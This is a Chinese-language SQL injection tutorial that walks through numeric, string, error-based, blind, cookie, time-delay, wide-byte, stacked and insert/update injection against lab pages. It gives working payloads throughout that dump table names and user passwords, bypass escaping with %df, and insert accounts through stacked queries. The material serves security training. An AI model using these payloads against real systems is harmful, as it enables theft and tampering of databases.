1. 概述
SQL注入(SQL Injectioin)漏洞是注入漏洞中危害性最高的漏洞之一。形成的原因主要是在數據交互過程中,前端的數據傳入后端時,沒有作嚴格的驗證過濾導致傳入的“數據”拼接到了SQL語句中。被數據庫當作SQL語句的一部分執行,從而使得數據面臨被脫庫、惡意破壞篡改甚至造成整個系統權限淪陷等一系列危害。
注入攻擊的本質是把用戶輸入的數據當作代碼執行。造成注入攻擊有兩個關鍵條件:
①用戶能夠控制數據輸入
②原本程序要執行的代碼,拼接了用戶輸入的數據。
對SQL注入漏洞的挖掘雖然多數時候以工具為主,手工為輔助,但切忌上來就一把梭。
2. SQL注入分類
2.1 按參數類型分類
2.1.1 數字型注入
選擇userid查詢個人信息,通過下拉選擇ID,無法直接輸入數據,但可通過抓包修改。
選擇一個userid,抓取查詢的數據包。
通過id值構造 2 and 1=1,即相當於數據庫執行SELECT* FROM users WHERE id=2 and 1=1,其中1=1為永真,返回查詢到id=2的結果。
放包成功查詢到ID為2的信息
重新抓包構造id =2 and 1=2時,查詢失敗。但是由於and 1=2為假,所以where條件后都為假導致返回錯誤,由此可判斷為整數型注入。
重新構造pyload id=2 union select user(),database()
成功爆出當前用戶和數據庫名
更多的pyload如下:
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' union select database(),group_concat('~',username,'~',password) from pikachu.users
2.1.2 字符型注入
字符型注入相對於整數型輸入在查詢語句上多了單引號閉合,如查詢laowang,數據庫查詢語句相當於:
SELECT * FROM users WHERE username='laowang';
如果沒有對單引號進行過濾轉義等處理的話,便很容易造成惡意注入。
如構造pyload,輸入查詢 laowang' union select database(),user() #,即相當於執行:
SELECT * FROM users WHERE username='laowang' union select database(),user() #'; //#號后面的'被注釋掉
查詢爆出數據庫名和當前用戶名。
2.2 按反饋結果分類
2.2.1 報錯注入
報錯注入,顧名思義就是通過數據反饋出的錯誤信息提示進行注入攻擊。通常情況下我們首先需要輸入單引號判斷是否存在報錯,然后進一步找出注入點。
打開一個頁面,通過URL看出疑似存在注入。
輸入 id=1 and 1=1,id=1 and 1=2均能正常彈出頁面,此時輸入id=1' 時,直接報錯,由此判斷可能存在報錯注入。
構造URL, 查找注入點。
http://192.168.43.116/control/sqlinject/manifest_error.php?id=1' and 1=2--+
這里講一下構造“--+”的原因,上面構造的pyload如果不加上+,在SQL語句中相當於 SELECT * FROM sqlinjection WHERE id = '1' and 1=2--'。此時語法會報錯,提示后面的單引號沒有閉合。而在URL中+號表示的是空格,在“--”與“ ' ”中間加上了一個空格之后后面的“ ' ”被成功注釋掉,SQL語句即可正常執行。
除此之外也可以構造:
/control/sqlinject/manifest_error.php?id=1' and 1=2--' //用來閉合后面的' /control/sqlinject/manifest_error.php?id=1' and 1=2%23 //URL中#號是用來指導瀏覽器動作,對服務端無用,需轉換成url編碼。
通過構造的pyload發現系統存在注入點。
重新構造 /control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆出數據庫中所有表項名稱
2.2.2 盲注
通常情況下服務器都會關閉錯誤回顯,此時無法通過返回的錯誤信息進行注入的判斷,而這類情況下的注入攻擊則稱為盲注。即只能通過網站頁面的變化來判斷注入的pyload是否被成功執行,且目前大多數網站都是盲注類型的。
以布爾盲注為例:
提示輸入名字,故可判斷輸入的值為字符型。所以輸入pyload: laowang' and 1=1# ,查詢正確返回結果。
繼續輸入 laowang' and 1=2# 返回查詢用戶名不存在,由此判斷存在注入點。
在布爾盲注攻擊過程中,需要使用到二分法以及mysql函數如mid()、ascii()、length()等去循環試錯爆出數據庫中的數據。因為頁面不存在報錯, 無法直接通過報錯+聯合查詢注入得知數據庫信息, 所以只能一點點通過頁面是否正確來判斷。
如爆出數據庫名,先要爆出數據庫長度,然后一個一個的去爆數據庫名的每一個字符。
采用二分法爆數據庫長度:
laowang' and length(database())>10 # ==> 頁面錯誤 laowang' and length(database())>5 # ==> 頁面正確 laowang' and length(database())>8 # ==> 頁面錯誤 laowang' and length(database())>6 # ==> 頁面正確 laowang' and length(database())=7 # ==> 頁面正確
由此可判斷數據庫的長度為7,然后再循環進一步的爆出每個字符得到數據庫名
laowang' and ascii(mid(database(),1,1))>115 # ......
爆數據庫表的個數
laowang' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
......
爆第一個表里的每個字符
laowang' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 #
由此往下一層一層的爆出數據庫中的內容。而盲注通常會利用Sqlmap工具來進行輔助,純手工盲注很難。
2.3 按注入位置分類
按注入位置分類的話可大致分為。
2.3.1 Cookie注入

抓取登陸包,並未發現cookie注入的位置。
放包之后進入登陸后的頁面,
抓取當前頁面刷新請求的包,發現疑似cookie注入位置。
在cookie處構造 uname=admin'放包發現報錯,基本確認了注入點。
繼續通過構造 uname=admin' order by 2--+ ......4--+,當為4的時候報錯,判斷字段數為3。緊接着直接如下構造pyload爆出數據表:
uname=xu'' union select user(),database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
2.4 其他分類
2.4.1 延時注入
延時注入語句和布爾盲注的語句類似,延時注入按原理來分也可以當做基於時間的盲注。布爾盲注可以通過返回的頁面來判斷SQL語句是否執行,而延時注入只能通過布爾的條件返回值來執行sleep()函數使網頁延遲加載從而判定布爾條件是否成立。
目標網址為http://192.168.43.116/control/sqlinject/bool_injection.php?id=1,構造pyload:1' and sleep(5)--+ 。
發現頁面延遲加載5秒后才顯示出頁面,可判斷此處存在延時注入。
隨后構造pyload作進一步的爆庫,語句和盲注類似,只是加了一個if的判斷語句。
#判斷數據庫字符長度 1' and if(length(database())=5,sleep(3),1)--+ #爆破數據庫名 1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+ 1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+ ... #判斷當前數據庫表數量 1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)--+ #判斷第一張表,表名的長度 1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)--+ #第一張表第一個一個字符的ascii碼值 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),1)--+
手工是不可能手工測的,只能通過SQLmap跑跑什么的才爆的出來:
接着爆出數據庫中的表以及表中的項。
2.4.2 寬字節注入
寬字節注入(又稱為GBK雙字節繞過)即利用編碼轉換,將服務器端強制添加的本來用於轉義的\
符號吃掉,從而能使攻擊者輸入的引號起到閉合作用,以至於可以進行SQL注入。首先了解一下簡單的概念:
字符、字符集
字符(character)是組成字符集(character set)的基本單位。對字符賦予一個數值(encoding)來確定這個字符在該字符集中的位置。
UTF8
由於ASCII表示的字符只有128個,因此網絡世界的規范是使用UNICODE編碼,但是用ASCII表示的字符使用UNICODE並不高效。因此出現了中間格式字符集,被稱為通用轉換格式,及UTF(Universal Transformation Format)。
寬字節
GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節,實際上只有兩字節。寬字節帶來的安全問題主要是吃ASCII字符(一字節)的現象,即將兩個ascii字符誤認為是一個寬字節字符。
寬字節注入原理
假設一個URL存在注入但是有addslashes,mysql_real_escape_string,mysql_escape_string等等函數實現轉義,即在傳入的參數前面添加\,導致注入的單引號被轉義。而我們的目的是吃掉\,使得單引號“逃逸”。
於是在單引號前加上%df,重新構造URL:
http://192.168.43.116/control/sqlinject/width_byte_injection.php?id=1%df' and 1=2 union select 1,2--+
當id的參數傳入代碼層,就會在’前加一個\,由於采用的URL編碼,所以產生的效果是 %df%5c%27。而此時%df與%5c會組成一個新的字節%df%5c,解碼會得到一個漢字 “運”。即相當於li'ang(李昂)=>>liang(梁)。這時\被“吃掉”,也就失去了轉義的效果。在數據庫中就相當於執行了:
SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2 #' LIMIT 0,1 //mysql在解讀該語句時會忽略新形成的字符 “運”
寬字節注入的發生位置在PHP發送請求到MySQL時字符集使用character_set_client設置值進行了一次編碼,大致的數據變化過程如下:
由此我們可以得出造成寬字節注入的兩個前提條件:① 使用轉義函數進行過濾; ② 數據庫為GB系列編碼。
例舉:
打開構造的URL,爆出顯示位。
構造pyload:id=1%df' and 1=2 union select 1,concat(schema_name,0x7e) from information_schema.schemata--+ 。爆出所有數據庫名稱。
更多pyload:
id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+ #查看數據庫下的所有表 id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374--+ #查看env_list表下所有字段
寬字節注入的修復:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string進行轉義
利用mysql_set_charset(GBK)指定字符集mysql_real_escape_string進行轉義。mysql_real_escape_string與addslashes的不同之處在於其會考慮當前設置的字符集,不會出現前面%df和%5c拼接為一個寬字節的情況。
2.4.3 堆疊注入
堆疊注入顧名思義就是指同時執行多條SQL語句進行注入攻擊,即一條SQL語句以“;”結束后,可以在后面繼續構造下一條SQL語句達到多條語句一起執行。形成的原因主要是mysqli_mylti_query()函數可以通過執行“;”來分隔執行多條語句。
例如構造pyload:
?id=1' union select 1,user(),database(); insert into users(username,password) values('test', 'test')%23 //用;分隔執行兩條語句
頁面返回第一條SQL語句的查詢結果,在數據庫中可看到第二條SQL語句的執行結果,添加了test/test賬號密碼。
堆疊注入和 union聯合注入都是將兩條語句合並在一起執行,主要區別就在於union 或者 unionall只能用來執行查詢語句,而堆疊注入可以執行任意類型的語句。 堆疊注入的局限性在於並不是每一個環境下都可以執行,可能受到 API或者數據庫引擎不支持的限制。此外,權限不足以及phpstudy,MySQL版本不同也會影響注入是否成功,比如在Oracle數據庫中是不支持堆疊注入的。
2.4.4 insert、delect、update 注入
增、刪、改同樣是前端與數據庫交互的幾類方式,比如當用戶在注冊、刪除、修改個人資料的時候該功能模塊存在注入點,便極易造成注入攻擊。
比如當用戶注冊時,填交數據至服務器時,數據庫服務器端采用insert語句將信息插入數據庫中:
insert into users(username,password) values($username,$password);
更新信息時采用update語句插入數據庫:
update users set username=$username,password=$password where username=$username;
此時若存在注入點可利用函數extractvalue(),構造pyload來進行報錯注入。
name' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
3.總結
SQL注入不論何種分類,本質都是相同的:拼接輸入的數據當作代碼執行。本文僅對常見的SQL注入類型進行陳述,除此之外還有其他如:二次注入、base64編碼注入、搜索注入等等。由於篇幅有限不再贅述,可以通過各類靶場尤其是阿三的sqli-labs(https://github.com/Audi-1/sqli-labs)練習。當掌握注入原理和pyload的構造之后剩下的就是通過不斷的實戰加深理解,雖然很多時候再對SQL注入的檢測都是通過salmap等工具一把梭,但是弄清楚漏洞形成原因以及注入原理后可幫助我們快速的定位到注入點提高測試效率。